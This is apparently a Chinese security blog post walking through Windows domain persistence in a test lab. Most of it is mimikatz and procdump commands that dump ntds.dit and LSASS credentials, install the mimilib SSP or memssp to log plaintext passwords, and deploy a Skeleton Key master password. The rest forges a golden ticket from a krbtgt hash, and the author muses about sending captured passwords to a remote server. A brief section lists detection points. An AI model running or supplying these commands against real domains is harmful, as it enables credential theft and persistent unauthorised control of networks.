ntds.dit和SSP权限维持

5.获取访问活动目录数据库文件的权限(ntds.dit)
前提条件是获取域控权限:
1.通过备份路径(备份服务器储存,媒体,网络共享)
2 在准备配置成域控的服务器上找 NTDS.dit 文件
3. 有虚拟机的管理权限,就能克隆虚拟的域控并离线获取数据
4. 用 Mimitaz 导出域中所有凭证的 hash 值
mimikatz.exe “privilege::debug” “lsadump::lsa /inject” >hash.txt
6.用 Mimikatz+procdump 导出 LSASS 内存信息(获得域管理员凭证)
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe # sekurlsa::minidump lsass.dmp
mimikatz.exe # sekurlsa::logonpasswords
7.用任务管理器来导出 LSASS 内存信息(获得域管理员凭证)
选择任务管理器中的 lsass.exe 然后右击创建转储文件
八、mimilib SSP 维持系统权限
1. 前言
Security Support Provider,直译为安全支持提供者,又名 Security Package.
简单的理解为 SSP 就是一个 DLL,用来实现身份认证,并且维持系统权限
mimilib.dll 是 mimikatz 下的动态链接库。可维持系统权限。
2.实际测试
测试环境
域控:server 2008 r2 x64
域内主机: win7 x64
测试步骤:
1、添加 SSP
将 mimilib.dll 复制到域控 c:\windows\system32 下
注:64 位系统要用 64 位的 mimilib.dll,32 位的会失败
2、设置 SSP
修改域控注册表位置:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security
Packages\
如图 :
在 Security Packages 下添加 mimilib.dll
如图 :
点击确认,Security Packages 已被添加 mimilib.dll
如图 :
3、重启系统
域控重启后在 c:\windows\system32 可看到新生成的文件 kiwissp.log
如图:
kiwissp.log 记录了登录的账户和密码,如图:
Tips:
mimilib 只实现了将密码保存到本地,如果把密码发送到远程服务器岂不是威力无穷?
补充
1、Memory Updating of SSPs
mimikatz 同时还支持通过内存更新 ssp,这样就不需要重启再获取账户信息
需要使用 mimikatz.exe,命令如下:
privilege::debug
misc::memssp
注:
1、32 系统需要 32 位的 mimikatz,如图:32位失败
64位mimikatz成功!内存更新的方法在重启后会失效.
4、检测
1、注册表
检测注册表位置:
#!bash
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security
Packages\
2、dll
检测%windir%\System32 是否有可疑 dll
3、Autoruns
使用工具 Autoruns 检测 LSA
八、Skeleton Key 实现万能密码登录域
1.前言
Skeleton Key 被安装在 64 位的域控服务器上,支持 Windows Server2003—Windows
Server2012 R2,能够让所有域用户使用同一个万能密码进行登录,现有的所有域用户使用
原密码仍能继续登录,重启后失效
Mimikatz支持 Skeleton Key
2.实际测试
测试环境
域控:Server 2008 R2 x64
域内主机: Win7 x64
1、域内主机使用正确密码登录域控
用户名:admin@payload.com
密码:admin@123
cmd 命令:
net use \\192.168.88.130\c$ admin@123 /user:administrator@payload.com
dir \\192.168.88.130\c$
如图 :
2、在域控上安装 Skeleton Key
mimikatz 命令:
privilege::debug
misc::skeleton
如图 :
3、域内主机使用 Skeleton Key 登录域控
(1)清除 net use 连接
cmd 命令:
net use \\192.168.88.130\c$ /del
net use
(2)使用 Skeleton Key 登录
mimikatz 的默认 Skeleton Key 设置为 mimikatz,注意这里只能用主机名来远程登录,如
果用 IP 地址就会出错。
cmd 命令:
net use \\WIN-SVT5AN14FQI.payload.com\c$ mimikatz /user:Micr067@payload.com
dir \\WIN-SVT5AN14FQI.payload.com\c$
如图 :
(3)权限测试
a、使用域内不存在的用户+Skeleton Key 登录
b、使用域内普通权限用户+Skeleton Key 登录
发现使用域内不存在的用户无法登录
使用域内普通权限用户无法访问域控
结论: Skeleton Key 只是给所有账户添加了一个万能密码,无法修改账户的权限
九、普通域账号的 hash 值找回域管理
1.前言
利用这个的条件是在原来搞定域控的时候,已经导出过域用户的HASH,尤其是krbtgt 这个用户的。但是在你在内网干其他事情的时候,被人家发现了,你拥有的域管理员权限掉了,你现在还有一个普通的域用户权限,管理员做加固的时候又忘记修改 krbtgt密码了(很常见),我们还是能重新回来
2.实际测试
1.要重新拿回域管理员权限,首先要先知道域内的管理员有谁,这里的实验环境,通过截图可以看到域管理员是 administrator:
net group “domain admins” /domain
2.还要知道域 SID 是啥
S-1-5-21-2589858836-2355546349-2491181575
3.还有最重要的 krbtgt 用户的 ntlm 哈希:
19069f46e63bbf268dcf93db50f02810
4.然后该用神器 mimikatz 出场了,依次执行
mimikatz # kerberos::purge
mimikatz # kerberos::golden /admin:Administrator /domain:payload.com /sid:S-1-5-21-2589858836-2355546349-2491181575 /krbtgt:19069f46e63bbf268dcf93db50f02810 /ticket:Administrator.kiribi
mimikatz # kerberos::ptt Administrator.kiribi
mimikatz # kerberos::list
mimikatz # kerberos::tgt
到现在,我们又重新拥有域管理员权限了,可以验证下
net use \\WIN-SVT5AN14FQI.payload.com\c$ (不需要输入密码)
psexec.exe \\WIN-SVT5AN14FQI.payload.com cmd
posted @ 2019-08-30 08:14  micr067  阅读(376)  评论(0编辑  收藏  举报